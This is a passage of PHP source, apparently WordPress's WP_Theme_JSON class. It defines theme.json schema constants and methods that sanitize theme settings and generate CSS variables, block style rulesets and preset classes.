presets, where for each array item * the key is the class name and the value the property name. * The "$slug" substring will be replaced by the slug of each preset. * For example: * 'classes' => array( * '.has-$slug-color' => 'color', * '.has-$slug-background-color' => 'background-color', * '.has-$slug-border-color' => 'border-color', * ) * - properties => array of CSS properties to be used by kses to * validate the content of each preset * by means of the remove_insecure_properties method. * * @since 5.8.0 * @since 5.9.0 Added the `color.duotone` and `typography.fontFamilies` presets, * `use_default_names` preset key, and simplified the metadata structure. * @since 6.0.0 Replaced `override` with `prevent_override` and updated the * `prevent_overried` value for `color.duotone` to use `color.defaultDuotone`. * @var array */ const PRESETS_METADATA = array( array( 'path' => array( 'color', 'palette' ), 'prevent_override' => array( 'color', 'defaultPalette' ), 'use_default_names' => false, 'value_key' => 'color', 'css_vars' => '--wp--preset--color--$slug', 'classes' => array( '.has-$slug-color' => 'color', '.has-$slug-background-color' => 'background-color', '.has-$slug-border-color' => 'border-color', ), 'properties' => array( 'color', 'background-color', 'border-color' ), ), array( 'path' => array( 'color', 'gradients' ), 'prevent_override' => array( 'color', 'defaultGradients' ), 'use_default_names' => false, 'value_key' => 'gradient', 'css_vars' => '--wp--preset--gradient--$slug', 'classes' => array( '.has-$slug-gradient-background' => 'background' ), 'properties' => array( 'background' ), ), array( 'path' => array( 'color', 'duotone' ), 'prevent_override' => array( 'color', 'defaultDuotone' ), 'use_default_names' => false, 'value_func' => 'wp_get_duotone_filter_property', 'css_vars' => '--wp--preset--duotone--$slug', 'classes' => array(), 'properties' => array( 'filter' ), ), array( 'path' => array( 'typography', 'fontSizes' ), 'prevent_override' => false, 'use_default_names' => true, 'value_key' => 'size', 'css_vars' => '--wp--preset--font-size--$slug', 'classes' => array( '.has-$slug-font-size' => 'font-size' ), 'properties' => array( 'font-size' ), ), array( 'path' => array( 'typography', 'fontFamilies' ), 'prevent_override' => false, 'use_default_names' => false, 'value_key' => 'fontFamily', 'css_vars' => '--wp--preset--font-family--$slug', 'classes' => array( '.has-$slug-font-family' => 'font-family' ), 'properties' => array( 'font-family' ), ), ); /** * Metadata for style properties. * * Each element is a direct mapping from the CSS property name to the * path to the value in theme.json & block attributes. * * @since 5.8.0 * @since 5.9.0 Added the `border-*`, `font-family`, `font-style`, `font-weight`, * `letter-spacing`, `margin-*`, `padding-*`, `--wp--style--block-gap`, * `text-decoration`, `text-transform`, and `filter` properties, * simplified the metadata structure. * @var array */ const PROPERTIES_METADATA = array( 'background' => array( 'color', 'gradient' ), 'background-color' => array( 'color', 'background' ), 'border-radius' => array( 'border', 'radius' ), 'border-top-left-radius' => array( 'border', 'radius', 'topLeft' ), 'border-top-right-radius' => array( 'border', 'radius', 'topRight' ), 'border-bottom-left-radius' => array( 'border', 'radius', 'bottomLeft' ), 'border-bottom-right-radius' => array( 'border', 'radius', 'bottomRight' ), 'border-color' => array( 'border', 'color' ), 'border-width' => array( 'border', 'width' ), 'border-style' => array( 'border', 'style' ), 'color' => array( 'color', 'text' ), 'font-family' => array( 'typography', 'fontFamily' ), 'font-size' => array( 'typography', 'fontSize' ), 'font-style' => array( 'typography', 'fontStyle' ), 'font-weight' => array( 'typography', 'fontWeight' ), 'letter-spacing' => array( 'typography', 'letterSpacing' ), 'line-height' => array( 'typography', 'lineHeight' ), 'margin' => array( 'spacing', 'margin' ), 'margin-top' => array( 'spacing', 'margin', 'top' ), 'margin-right' => array( 'spacing', 'margin', 'right' ), 'margin-bottom' => array( 'spacing', 'margin', 'bottom' ), 'margin-left' => array( 'spacing', 'margin', 'left' ), 'padding' => array( 'spacing', 'padding' ), 'padding-top' => array( 'spacing', 'padding', 'top' ), 'padding-right' => array( 'spacing', 'padding', 'right' ), 'padding-bottom' => array( 'spacing', 'padding', 'bottom' ), 'padding-left' => array( 'spacing', 'padding', 'left' ), '--wp--style--block-gap' => array( 'spacing', 'blockGap' ), 'text-decoration' => array( 'typography', 'textDecoration' ), 'text-transform' => array( 'typography', 'textTransform' ), 'filter' => array( 'filter', 'duotone' ), ); /** * Protected style properties. * * These style properties are only rendered if a setting enables it * via a value other than `null`. * * Each element maps the style property to the corresponding theme.json * setting key. * * @since 5.9.0 */ const PROTECTED_PROPERTIES = array( 'spacing.blockGap' => array( 'spacing', 'blockGap' ), ); /** * The top-level keys a theme.json can have. * * @since 5.8.0 As `ALLOWED_TOP_LEVEL_KEYS`. * @since 5.9.0 Renamed from `ALLOWED_TOP_LEVEL_KEYS` to `VALID_TOP_LEVEL_KEYS`, * added the `customTemplates` and `templateParts` values. * @var string[] */ const VALID_TOP_LEVEL_KEYS = array( 'customTemplates', 'patterns', 'settings', 'styles', 'templateParts', 'version', 'title', ); /** * The valid properties under the settings key. * * @since 5.8.0 As `ALLOWED_SETTINGS`. * @since 5.9.0 Renamed from `ALLOWED_SETTINGS` to `VALID_SETTINGS`, * added new properties for `border`, `color`, `spacing`, * and `typography`, and renamed others according to the new schema. * @since 6.0.0 Added `color.defaultDuotone`. * @var array */ const VALID_SETTINGS = array( 'appearanceTools' => null, 'border' => array( 'color' => null, 'radius' => null, 'style' => null, 'width' => null, ), 'color' => array( 'background' => null, 'custom' => null, 'customDuotone' => null, 'customGradient' => null, 'defaultDuotone' => null, 'defaultGradients' => null, 'defaultPalette' => null, 'duotone' => null, 'gradients' => null, 'link' => null, 'palette' => null, 'text' => null, ), 'custom' => null, 'layout' => array( 'contentSize' => null, 'wideSize' => null, ), 'spacing' => array( 'blockGap' => null, 'margin' => null, 'padding' => null, 'units' => null, ), 'typography' => array( 'customFontSize' => null, 'dropCap' => null, 'fontFamilies' => null, 'fontSizes' => null, 'fontStyle' => null, 'fontWeight' => null, 'letterSpacing' => null, 'lineHeight' => null, 'textDecoration' => null, 'textTransform' => null, ), ); /** * The valid properties under the styles key. * * @since 5.8.0 As `ALLOWED_STYLES`. * @since 5.9.0 Renamed from `ALLOWED_STYLES` to `VALID_STYLES`, * added new properties for `border`, `filter`, `spacing`, * and `typography`. * @var array */ const VALID_STYLES = array( 'border' => array( 'color' => null, 'radius' => null, 'style' => null, 'width' => null, ), 'color' => array( 'background' => null, 'gradient' => null, 'text' => null, ), 'filter' => array( 'duotone' => null, ), 'spacing' => array( 'margin' => null, 'padding' => null, 'blockGap' => 'top', ), 'typography' => array( 'fontFamily' => null, 'fontSize' => null, 'fontStyle' => null, 'fontWeight' => null, 'letterSpacing' => null, 'lineHeight' => null, 'textDecoration' => null, 'textTransform' => null, ), ); /** * The valid elements that can be found under styles. * * @since 5.8.0 * @var string[] */ const ELEMENTS = array( 'link' => 'a', 'h1' => 'h1', 'h2' => 'h2', 'h3' => 'h3', 'h4' => 'h4', 'h5' => 'h5', 'h6' => 'h6', ); /** * Options that settings.appearanceTools enables. * * @since 6.0.0 * @var array */ const APPEARANCE_TOOLS_OPT_INS = array( array( 'border', 'color' ), array( 'border', 'radius' ), array( 'border', 'style' ), array( 'border', 'width' ), array( 'color', 'link' ), array( 'spacing', 'blockGap' ), array( 'spacing', 'margin' ), array( 'spacing', 'padding' ), array( 'typography', 'lineHeight' ), ); /** * The latest version of the schema in use. * * @since 5.8.0 * @since 5.9.0 Changed value from 1 to 2. * @var int */ const LATEST_SCHEMA = 2; /** * Constructor. * * @since 5.8.0 * * @param array $theme_json A structure that follows the theme.json schema. * @param string $origin Optional. What source of data this object represents. * One of 'default', 'theme', or 'custom'. Default 'theme'. */ public function __construct( $theme_json = array(), $origin = 'theme' ) { if ( ! in_array( $origin, static::VALID_ORIGINS, true ) ) { $origin = 'theme'; } $this->theme_json = WP_Theme_JSON_Schema::migrate( $theme_json ); $valid_block_names = array_keys( static::get_blocks_metadata() ); $valid_element_names = array_keys( static::ELEMENTS ); $theme_json = static::sanitize( $this->theme_json, $valid_block_names, $valid_element_names ); $this->theme_json = static::maybe_opt_in_into_settings( $theme_json ); // Internally, presets are keyed by origin. $nodes = static::get_setting_nodes( $this->theme_json ); foreach ( $nodes as $node ) { foreach ( static::PRESETS_METADATA as $preset_metadata ) { $path = array_merge( $node['path'], $preset_metadata['path'] ); $preset = _wp_array_get( $this->theme_json, $path, null ); if ( null !== $preset ) { // If the preset is not already keyed by origin. if ( isset( $preset[0] ) || empty( $preset ) ) { _wp_array_set( $this->theme_json, $path, array( $origin => $preset ) ); } } } } } /** * Enables some opt-in settings if theme declared support. * * @since 5.9.0 * * @param array $theme_json A theme.json structure to modify. * @return array The modified theme.json structure. */ protected static function maybe_opt_in_into_settings( $theme_json ) { $new_theme_json = $theme_json; if ( isset( $new_theme_json['settings']['appearanceTools'] ) && true === $new_theme_json['settings']['appearanceTools'] ) { static::do_opt_in_into_settings( $new_theme_json['settings'] ); } if ( isset( $new_theme_json['settings']['blocks'] ) && is_array( $new_theme_json['settings']['blocks'] ) ) { foreach ( $new_theme_json['settings']['blocks'] as &$block ) { if ( isset( $block['appearanceTools'] ) && ( true === $block['appearanceTools'] ) ) { static::do_opt_in_into_settings( $block ); } } } return $new_theme_json; } /** * Enables some settings. * * @since 5.9.0 * * @param array $context The context to which the settings belong. */ protected static function do_opt_in_into_settings( &$context ) { foreach ( static::APPEARANCE_TOOLS_OPT_INS as $path ) { // Use "unset prop" as a marker instead of "null" because // "null" can be a valid value for some props (e.g. blockGap). if ( 'unset prop' === _wp_array_get( $context, $path, 'unset prop' ) ) { _wp_array_set( $context, $path, true ); } } unset( $context['appearanceTools'] ); } /** * Sanitizes the input according to the schemas. * * @since 5.8.0 * @since 5.9.0 Added the `$valid_block_names` and `$valid_element_name` parameters. * * @param array $input Structure to sanitize. * @param array $valid_block_names List of valid block names. * @param array $valid_element_names List of valid element names. * @return array The sanitized output. */ protected static function sanitize( $input, $valid_block_names, $valid_element_names ) { $output = array(); if ( ! is_array( $input ) ) { return $output; } $output = array_intersect_key( $input, array_flip( static::VALID_TOP_LEVEL_KEYS ) ); // Some styles are only meant to be available at the top-level (e.g.: blockGap), // hence, the schema for blocks & elements should not have them. $styles_non_top_level = static::VALID_STYLES; foreach ( array_keys( $styles_non_top_level ) as $section ) { foreach ( array_keys( $styles_non_top_level[ $section ] ) as $prop ) { if ( 'top' === $styles_non_top_level[ $section ][ $prop ] ) { unset( $styles_non_top_level[ $section ][ $prop ] ); } } } // Build the schema based on valid block & element names. $schema = array(); $schema_styles_elements = array(); foreach ( $valid_element_names as $element ) { $schema_styles_elements[ $element ] = $styles_non_top_level; } $schema_styles_blocks = array(); $schema_settings_blocks = array(); foreach ( $valid_block_names as $block ) { $schema_settings_blocks[ $block ] = static::VALID_SETTINGS; $schema_styles_blocks[ $block ] = $styles_non_top_level; $schema_styles_blocks[ $block ]['elements'] = $schema_styles_elements; } $schema['styles'] = static::VALID_STYLES; $schema['styles']['blocks'] = $schema_styles_blocks; $schema['styles']['elements'] = $schema_styles_elements; $schema['settings'] = static::VALID_SETTINGS; $schema['settings']['blocks'] = $schema_settings_blocks; // Remove anything that's not present in the schema. foreach ( array( 'styles', 'settings' ) as $subtree ) { if ( ! isset( $input[ $subtree ] ) ) { continue; } if ( ! is_array( $input[ $subtree ] ) ) { unset( $output[ $subtree ] ); continue; } $result = static::remove_keys_not_in_schema( $input[ $subtree ], $schema[ $subtree ] ); if ( empty( $result ) ) { unset( $output[ $subtree ] ); } else { $output[ $subtree ] = $result; } } return $output; } /** * Returns the metadata for each block. * * Example: * * { * 'core/paragraph': { * 'selector': 'p', * 'elements': { * 'link' => 'link selector', * 'etc' => 'element selector' * } * }, * 'core/heading': { * 'selector': 'h1', * 'elements': {} * }, * 'core/image': { * 'selector': '.wp-block-image', * 'duotone': 'img', * 'elements': {} * } * } * * @since 5.8.0 * @since 5.9.0 Added `duotone` key with CSS selector. * * @return array Block metadata. */ protected static function get_blocks_metadata() { if ( null !== static::$blocks_metadata ) { return static::$blocks_metadata; } static::$blocks_metadata = array(); $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); foreach ( $blocks as $block_name => $block_type ) { if ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) { static::$blocks_metadata[ $block_name ]['selector'] = $block_type->supports['__experimentalSelector']; } else { static::$blocks_metadata[ $block_name ]['selector'] = '.wp-block-' . str_replace( '/', '-', str_replace( 'core/', '', $block_name ) ); } if ( isset( $block_type->supports['color']['__experimentalDuotone'] ) && is_string( $block_type->supports['color']['__experimentalDuotone'] ) ) { static::$blocks_metadata[ $block_name ]['duotone'] = $block_type->supports['color']['__experimentalDuotone']; } // Assign defaults, then overwrite those that the block sets by itself. // If the block selector is compounded, will append the element to each // individual block selector. $block_selectors = explode( ',', static::$blocks_metadata[ $block_name ]['selector'] ); foreach ( static::ELEMENTS as $el_name => $el_selector ) { $element_selector = array(); foreach ( $block_selectors as $selector ) { $element_selector[] = $selector . ' ' . $el_selector; } static::$blocks_metadata[ $block_name ]['elements'][ $el_name ] = implode( ',', $element_selector ); } } return static::$blocks_metadata; } /** * Given a tree, removes the keys that are not present in the schema. * * It is recursive and modifies the input in-place. * * @since 5.8.0 * * @param array $tree Input to process. * @param array $schema Schema to adhere to. * @return array Returns the modified $tree. */ protected static function remove_keys_not_in_schema( $tree, $schema ) { $tree = array_intersect_key( $tree, $schema ); foreach ( $schema as $key => $data ) { if ( ! isset( $tree[ $key ] ) ) { continue; } if ( is_array( $schema[ $key ] ) && is_array( $tree[ $key ] ) ) { $tree[ $key ] = static::remove_keys_not_in_schema( $tree[ $key ], $schema[ $key ] ); if ( empty( $tree[ $key ] ) ) { unset( $tree[ $key ] ); } } elseif ( is_array( $schema[ $key ] ) && ! is_array( $tree[ $key ] ) ) { unset( $tree[ $key ] ); } } return $tree; } /** * Returns the existing settings for each block. * * Example: * * { * 'root': { * 'color': { * 'custom': true * } * }, * 'core/paragraph': { * 'spacing': { * 'customPadding': true * } * } * } * * @since 5.8.0 * * @return array Settings per block. */ public function get_settings() { if ( ! isset( $this->theme_json['settings'] ) ) { return array(); } else { return $this->theme_json['settings']; } } /** * Returns the stylesheet that results of processing * the theme.json structure this object represents. * * @since 5.8.0 * @since 5.9.0 Removed the `$type` parameter`, added the `$types` and `$origins` parameters. * * @param array $types Types of styles to load. Will load all by default. It accepts: * - `variables`: only the CSS Custom Properties for presets & custom ones. * - `styles`: only the styles section in theme.json. * - `presets`: only the classes for the presets. * @param array $origins A list of origins to include. By default it includes VALID_ORIGINS. * @return string Stylesheet. */ public function get_stylesheet( $types = array( 'variables', 'styles', 'presets' ), $origins = null ) { if ( null === $origins ) { $origins = static::VALID_ORIGINS; } if ( is_string( $types ) ) { // Dispatch error and map old arguments to new ones. _deprecated_argument( __FUNCTION__, '5.9.0' ); if ( 'block_styles' === $types ) { $types = array( 'styles', 'presets' ); } elseif ( 'css_variables' === $types ) { $types = array( 'variables' ); } else { $types = array( 'variables', 'styles', 'presets' ); } } $blocks_metadata = static::get_blocks_metadata(); $style_nodes = static::get_style_nodes( $this->theme_json, $blocks_metadata ); $setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata ); $stylesheet = ''; if ( in_array( 'variables', $types, true ) ) { $stylesheet .= $this->get_css_variables( $setting_nodes, $origins ); } if ( in_array( 'styles', $types, true ) ) { $stylesheet .= $this->get_block_classes( $style_nodes ); } if ( in_array( 'presets', $types, true ) ) { $stylesheet .= $this->get_preset_classes( $setting_nodes, $origins ); } return $stylesheet; } /** * Returns the page templates of the active theme. * * @since 5.9.0 * * @return array */ public function get_custom_templates() { $custom_templates = array(); if ( ! isset( $this->theme_json['customTemplates'] ) || ! is_array( $this->theme_json['customTemplates'] ) ) { return $custom_templates; } foreach ( $this->theme_json['customTemplates'] as $item ) { if ( isset( $item['name'] ) ) { $custom_templates[ $item['name'] ] = array( 'title' => isset( $item['title'] ) ? $item['title'] : '', 'postTypes' => isset( $item['postTypes'] ) ? $item['postTypes'] : array( 'page' ), ); } } return $custom_templates; } /** * Returns the template part data of active theme. * * @since 5.9.0 * * @return array */ public function get_template_parts() { $template_parts = array(); if ( ! isset( $this->theme_json['templateParts'] ) || ! is_array( $this->theme_json['templateParts'] ) ) { return $template_parts; } foreach ( $this->theme_json['templateParts'] as $item ) { if ( isset( $item['name'] ) ) { $template_parts[ $item['name'] ] = array( 'title' => isset( $item['title'] ) ? $item['title'] : '', 'area' => isset( $item['area'] ) ? $item['area'] : '', ); } } return $template_parts; } /** * Converts each style section into a list of rulesets * containing the block styles to be appended to the stylesheet. * * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax * * For each section this creates a new ruleset such as: * * block-selector { * style-property-one: value; * } * * @since 5.8.0 As `get_block_styles()`. * @since 5.9.0 Renamed from `get_block_styles()` to `get_block_classes()` * and no longer returns preset classes. * Removed the `$setting_nodes` parameter. * * @param array $style_nodes Nodes with styles. * @return string The new stylesheet. */ protected function get_block_classes( $style_nodes ) { $block_rules = ''; foreach ( $style_nodes as $metadata ) { if ( null === $metadata['selector'] ) { continue; } $node = _wp_array_get( $this->theme_json, $metadata['path'], array() ); $selector = $metadata['selector']; $settings = _wp_array_get( $this->theme_json, array( 'settings' ) ); $declarations = static::compute_style_properties( $node, $settings ); // 1. Separate the ones who use the general selector // and the ones who use the duotone selector. $declarations_duotone = array(); foreach ( $declarations as $index => $declaration ) { if ( 'filter' === $declaration['name'] ) { unset( $declarations[ $index ] ); $declarations_duotone[] = $declaration; } } /* * Reset default browser margin on the root body element. * This is set on the root selector **before** generating the ruleset * from the `theme.json`. This is to ensure that if the `theme.json` declares * `margin` in its `spacing` declaration for the `body` element then these * user-generated values take precedence in the CSS cascade. * @link https://github.com/WordPress/gutenberg/issues/36147. */ if ( static::ROOT_BLOCK_SELECTOR === $selector ) { $block_rules .= 'body { margin: 0; }'; } // 2. Generate the rules that use the general selector. $block_rules .= static::to_ruleset( $selector, $declarations ); // 3. Generate the rules that use the duotone selector. if ( isset( $metadata['duotone'] ) && ! empty( $declarations_duotone ) ) { $selector_duotone = static::scope_selector( $metadata['selector'], $metadata['duotone'] ); $block_rules .= static::to_ruleset( $selector_duotone, $declarations_duotone ); } if ( static::ROOT_BLOCK_SELECTOR === $selector ) { $block_rules .= '.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }'; $block_rules .= '.wp-site-blocks > .alignright { float: right; margin-left: 2em; }'; $block_rules .= '.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }'; $has_block_gap_support = _wp_array_get( $this->theme_json, array( 'settings', 'spacing', 'blockGap' ) ) !== null; if ( $has_block_gap_support ) { $block_rules .= '.wp-site-blocks > * { margin-block-start: 0; margin-block-end: 0; }'; $block_rules .= '.wp-site-blocks > * + * { margin-block-start: var( --wp--style--block-gap ); }'; } } } return $block_rules; } /** * Creates new rulesets as classes for each preset value such as: * * .has-value-color { * color: value; * } * * .has-value-background-color { * background-color: value; * } * * .has-value-font-size { * font-size: value; * } * * .has-value-gradient-background { * background: value; * } * * p.has-value-gradient-background { * background: value; * } * * @since 5.9.0 * * @param array $setting_nodes Nodes with settings. * @param array $origins List of origins to process presets from. * @return string The new stylesheet. */ protected function get_preset_classes( $setting_nodes, $origins ) { $preset_rules = ''; foreach ( $setting_nodes as $metadata ) { if ( null === $metadata['selector'] ) { continue; } $selector = $metadata['selector']; $node = _wp_array_get( $this->theme_json, $metadata['path'], array() ); $preset_rules .= static::compute_preset_classes( $node, $selector, $origins ); } return $preset_rules; } /** * Converts each styles section into a list of rulesets * to be appended to the stylesheet. * These rulesets contain all the css variables (custom variables and preset variables). * * See glossary at https://developer.mozilla.org/en-US/docs/Web/CSS/Syntax * * For each section this creates a new ruleset such as: * * block-selector { * --wp--preset--category--slug: value; * --wp--custom--variable: value; * } * * @since 5.8.0 * @since 5.9.0 Added the `$origins` parameter. * * @param array $nodes Nodes with settings. * @param array $origins List of origins to process. * @return string The new stylesheet. */ protected function get_css_variables( $nodes, $origins ) { $stylesheet = ''; foreach ( $nodes as $metadata ) { if ( null === $metadata['selector'] ) { continue; } $selector = $metadata['selector']; $node = _wp_array_get( $this->theme_json, $metadata['path'], array() ); $declarations = array_merge( static::compute_preset_vars( $node, $origins ), static::compute_theme_vars( $node ) ); $stylesheet .= static::to_ruleset( $selector, $declarations ); } return $stylesheet; } /** * Given a selector and a declaration list, * creates the corresponding ruleset. * * @since 5.8.0 * * @param string $selector CSS selector. * @param array $declarations List of declarations. * @return string CSS ruleset. */ protected static function to_ruleset( $selector, $declarations ) { if ( empty( $declarations ) ) { return ''; } $declaration_block = array_reduce( $declarations, static function ( $carry, $element ) { return $carry .= $element['name'] . ': ' . $element['value'] . ';'; }, '' ); return $selector . '{' . $declaration_block . '}'; } /** * Function that appends a sub-selector to a existing one. * * Given the compounded $selector "h1, h2, h3" * and the $to_append selector ".some-class" the result will be * "h1.some-class, h2.some-class, h3.some-class". * * @since 5.8.0 * * @param string $selector Original selector. * @param string $to_append Selector to append. * @return string */ protected static function append_to_selector( $selector, $to_append ) { $new_selectors = array(); $selectors = explode( ',', $selector ); foreach ( $selectors as $sel ) { $new_selectors[] = $sel . $to_append; } return implode( ',', $new_selectors ); } /** * Given a settings array, it returns the generated rulesets * for the preset classes. * * @since 5.8.0 * @since 5.9.0 Added the `$origins` parameter. * * @param array $settings Settings to process. * @param string $selector Selector wrapping the classes. * @param array $origins List of origins to process. * @return string The result of processing the presets. */ protected static function compute_preset_classes( $settings, $selector, $origins ) { if ( static::ROOT_BLOCK_SELECTOR === $selector ) { // Classes at the global level do not need any CSS prefixed, // and we don't want to increase its specificity. $selector = ''; } $stylesheet = ''; foreach ( static::PRESETS_METADATA as $preset_metadata ) { $slugs = static::get_settings_slugs( $settings, $preset_metadata, $origins ); foreach ( $preset_metadata['classes'] as $class => $property ) { foreach ( $slugs as $slug ) { $css_var = static::replace_slug_in_string( $preset_metadata['css_vars'], $slug ); $class_name = static::replace_slug_in_string( $class, $slug ); $stylesheet .= static::to_ruleset( static::append_to_selector( $selector, $class_name ), array( array( 'name' => $property, 'value' => 'var(' . $css_var . ') !important', ), ) ); } } } return $stylesheet; } /** * Function that scopes a selector with another one. This works a bit like * SCSS nesting except the `&` operator isn't supported. * * * $scope = '.a, .b .c'; * $selector = '> .x, .y'; * $merged = scope_selector( $scope, $selector ); * // $merged is '.a > .x, .a .y, .b .c > .x, .b .c .y' * * * @since 5.9.0 * * @param string $scope Selector to scope to. * @param string $selector Original selector. * @return string Scoped selector. */ protected static function scope_selector( $scope, $selector ) { $scopes = explode( ',', $scope ); $selectors = explode( ',', $selector ); $selectors_scoped = array(); foreach ( $scopes as $outer ) { foreach ( $selectors as $inner ) { $selectors_scoped[] = trim( $outer ) . ' ' . trim( $inner ); } } return implode( ', ', $selectors_scoped ); } /** * Gets preset values keyed by slugs based on settings and metadata. * * * $settings = array( * 'typography' => array( * 'fontFamilies' => array( * array( * 'slug' => 'sansSerif', * 'fontFamily' => '"Helvetica Neue", sans-serif', * ), * array( * 'slug' => 'serif', * 'colors' => 'Georgia, serif', * ) * ), * ), * ); * $meta = array( * 'path' => array( 'typography', 'fontFamilies' ), * 'value_key' => 'fontFamily', * ); * $values_by_slug = get_settings_values_by_slug(); * // $values_by_slug === array( * // 'sans-serif' => '"Helvetica Neue", sans-serif', * // 'serif' => 'Georgia, serif', * // ); * * * @since 5.9.0 * * @param array $settings Settings to process. * @param array $preset_metadata One of the PRESETS_METADATA values. * @param array $origins List of origins to process. * @return array Array of presets where each key is a slug and each value is the preset value. */ protected static function get_settings_values_by_slug( $settings, $preset_metadata, $origins ) { $preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() ); $result = array(); foreach ( $origins as $origin ) { if ( ! isset( $preset_per_origin[ $origin ] ) ) { continue; } foreach ( $preset_per_origin[ $origin ] as $preset ) { $slug = _wp_to_kebab_case( $preset['slug'] ); $value = ''; if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) { $value_key = $preset_metadata['value_key']; $value = $preset[ $value_key ]; } elseif ( isset( $preset_metadata['value_func'] ) && is_callable( $preset_metadata['value_func'] ) ) { $value_func = $preset_metadata['value_func']; $value = call_user_func( $value_func, $preset ); } else { // If we don't have a value, then don't add it to the result. continue; } $result[ $slug ] = $value; } } return $result; } /** * Similar to get_settings_values_by_slug, but doesn't compute the value. * * @since 5.9.0 * * @param array $settings Settings to process. * @param array $preset_metadata One of the PRESETS_METADATA values. * @param array $origins List of origins to process. * @return array Array of presets where the key and value are both the slug. */ protected static function get_settings_slugs( $settings, $preset_metadata, $origins = null ) { if ( null === $origins ) { $origins = static::VALID_ORIGINS; } $preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() ); $result = array(); foreach ( $origins as $origin ) { if ( ! isset( $preset_per_origin[ $origin ] ) ) { continue; } foreach ( $preset_per_origin[ $origin ] as $preset ) { $slug = _wp_to_kebab_case( $preset['slug'] ); // Use the array as a set so we don't get duplicates. $result[ $slug ] = $slug; } } return $result; } /** * Transform a slug into a CSS Custom Property. * * @since 5.9.0 * * @param string $input String to replace. * @param string $slug The slug value to use to generate the custom property. * @return string The CSS Custom Property. Something along the lines of `--wp--preset--color--black`. */ protected static function replace_slug_in_string( $input, $slug ) { return strtr( $input, array( '$slug' => $slug ) ); } /** * Given the block settings, it extracts the CSS Custom Properties * for the presets and adds them to the $declarations array * following the format: * * array( * 'name' => 'property_name', * 'value' => 'property_value, * ) * * @since 5.8.0 * @since 5.9.0 Added the `$origins` parameter. * * @param array $settings Settings to process. * @param array $origins List of origins to process. * @return array Returns the modified $declarations. */ protected static function compute_preset_vars( $settings, $origins ) { $declarations = array(); foreach ( static::PRESETS_METADATA as $preset_metadata ) { $values_by_slug = static::get_settings_values_by_slug( $settings, $preset_metadata, $origins ); foreach ( $values_by_slug as $slug => $value ) { $declarations[] = array( 'name' => static::replace_slug_in_string( $preset_metadata['css_vars'], $slug ), 'value' => $value, ); } } return $declarations; } /** * Given an array of settings, it extracts the CSS Custom Properties * for the custom values and adds them to the $declarations * array following the format: * * array( * 'name' => 'property_name', * 'value' => 'property_value, * ) * * @since 5.8.0 * * @param array $settings Settings to process. * @return array Returns the modified $declarations. */ protected static function compute_theme_vars( $settings ) { $declarations = array(); $custom_values = _wp_array_get( $settings, array( 'custom' ), array() ); $css_vars = static::flatten_tree( $custom_values ); foreach ( $css_vars as $key => $value ) { $declarations[] = array( 'name' => '--wp--custom--' . $key, 'value' => $value, ); } return $declarations; } /** * Given a tree, it creates a flattened one * by merging the keys and binding the leaf values * to the new keys. * * It also transforms camelCase names into kebab-case * and substitutes '/' by '-'. * * This is thought to be useful to generate * CSS Custom Properties from a tree, * although there's nothing in the implementation * of this function that requires that format. * * For example, assuming the given prefix is '--wp' * and the token is '--', for this input tree: * * { * 'some/property': 'value', * 'nestedProperty': { * 'sub-property': 'value' * } * } * * it'll return this output: * * { * '--wp--some-property': 'value', * '--wp--nested-property--sub-property': 'value' * } * * @since 5.8.0 * * @param array $tree Input tree to process. * @param string $prefix Optional. Prefix to prepend to each variable. Default empty string. * @param string $token Optional. Token to use between levels. Default '--'. * @return array The flattened tree. */ protected static function flatten_tree( $tree, $prefix = '', $token = '--' ) { $result = array(); foreach ( $tree as $property => $value ) { $new_key = $prefix . str_replace( '/', '-', strtolower( _wp_to_kebab_case( $property ) ) ); if ( is_array( $value ) ) { $new_prefix = $new_key . $token; $result = array_merge( $result, static::flatten_tree( $value, $new_prefix, $token ) ); } else { $result[ $new_key ] = $value; } } return $result; } /** * Given a styles array, it extracts the style properties * and adds them to the $declarations array following the format: * * array( * 'name' => 'property_name', * 'value' => 'property_value, * ) * * @since 5.8.0 * @since 5.9.0 Added the `$settings` and `$properties` parameters. * * @param array $styles Styles to process. * @param array $settings Theme settings. * @param array $properties Properties metadata. * @return array Returns the modified $declarations. */ protected static function compute_style_properties( $styles, $settings = array(), $properties = null ) { if ( null === $properties ) { $properties = static::PROPERTIES_METADATA; } $declarations = array(); if ( empty( $styles ) ) { return $declarations; } foreach ( $properties as $css_property => $value_path ) { $value = static::get_property_value( $styles, $value_path ); // Look up protected properties, keyed by value path. // Skip protected properties that are explicitly set to `null`. if ( is_array( $value_path ) ) { $path_string = implode( '.', $value_path ); if ( array_key_exists( $path_string, static::PROTECTED_PROPERTIES ) && _wp_array_get( $settings, static::PROTECTED_PROPERTIES[ $path_string ], null ) === null ) { continue; } } // Skip if empty and not "0" or value represents array of longhand values. $has_missing_value = empty( $value ) && ! is_numeric( $value ); if ( $has_missing_value || is_array( $value ) ) { continue; } $declarations[] = array( 'name' => $css_property, 'value' => $value, ); } return $declarations; } /** * Returns the style property for the given path. * * It also converts CSS Custom Property stored as * "var:preset|color|secondary" to the form * "--wp--preset--color--secondary". * * @since 5.8.0 * @since 5.9.0 Added support for values of array type, which are returned as is. * * @param array $styles Styles subtree. * @param array $path Which property to process. * @return string|array Style property value. */ protected static function get_property_value( $styles, $path ) { $value = _wp_array_get( $styles, $path, '' ); if ( '' === $value || is_array( $value ) ) { return $value; } $prefix = 'var:'; $prefix_len = strlen( $prefix ); $token_in = '|'; $token_out = '--'; if ( 0 === strncmp( $value, $prefix, $prefix_len ) ) { $unwrapped_name = str_replace( $token_in, $token_out, substr( $value, $prefix_len ) ); $value = "var(--wp--$unwrapped_name)"; } return $value; } /** * Builds metadata for the setting nodes, which returns in the form of: * * [ * [ * 'path' => ['path', 'to', 'some', 'node' ], * 'selector' => 'CSS selector for some node' * ], * [ * 'path' => [ 'path', 'to', 'other', 'node' ], * 'selector' => 'CSS selector for other node' * ], * ] * * @since 5.8.0 * * @param array $theme_json The tree to extract setting nodes from. * @param array $selectors List of selectors per block. * @return array */ protected static function get_setting_nodes( $theme_json, $selectors = array() ) { $nodes = array(); if ( ! isset( $theme_json['settings'] ) ) { return $nodes; } // Top-level. $nodes[] = array( 'path' => array( 'settings' ), 